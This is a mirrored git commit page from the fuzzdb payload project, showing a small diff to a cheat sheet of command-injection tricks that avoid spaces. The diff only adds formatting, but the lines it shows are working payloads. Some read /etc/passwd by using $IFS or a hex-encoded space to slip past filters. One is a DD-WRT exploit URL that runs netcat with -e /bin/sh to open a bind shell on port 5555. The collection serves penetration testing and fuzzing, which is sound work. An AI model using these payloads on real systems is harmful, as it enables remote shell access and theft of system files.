mirror of
https://github.com/fuzzdb-project/fuzzdb.git
synced 2025-02-23 03:18:25 +00:00
Add more remote cmd exec without spaces
This commit is contained in:
parent
8ed1ab4773
commit
b50de0d583
1 changed files with 2 additions and 2 deletions
|
@ -45,13 +45,13 @@ shell variable, increment through file one line at a time: <br>
|
|||
increment the first +1 to retreive the entire file, line by line<br>
|
||||
``` SP=$'\x20';cat$SP/etc/passwd|tail$SP-n+1|head$SP-n+1 ```
|
||||
|
||||
<b>$IFS</b>
|
||||
<b>$IFS</b><br>
|
||||
DD-WRT exploit POC circa 2009<br>
|
||||
``` http:///cgi-bin/;nc$IFS-l$IFS-p$IFS5555$IFS-e$IFS/bin/sh ```<br>
|
||||
or <br>
|
||||
``` cat$IFS/etc/passwd ```<br>
|
||||
increment the first +1 to retreive the entire file, line by line<br>
|
||||
cat$IFSSP/etc/passwd|tail$IFS-n+1|head$IFS-n+1
|
||||
``` cat$IFSSP/etc/passwd|tail$IFS-n+1|head$IFS-n+1 ```
|
||||
|
||||
**Exfiltrating Files / Data**
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue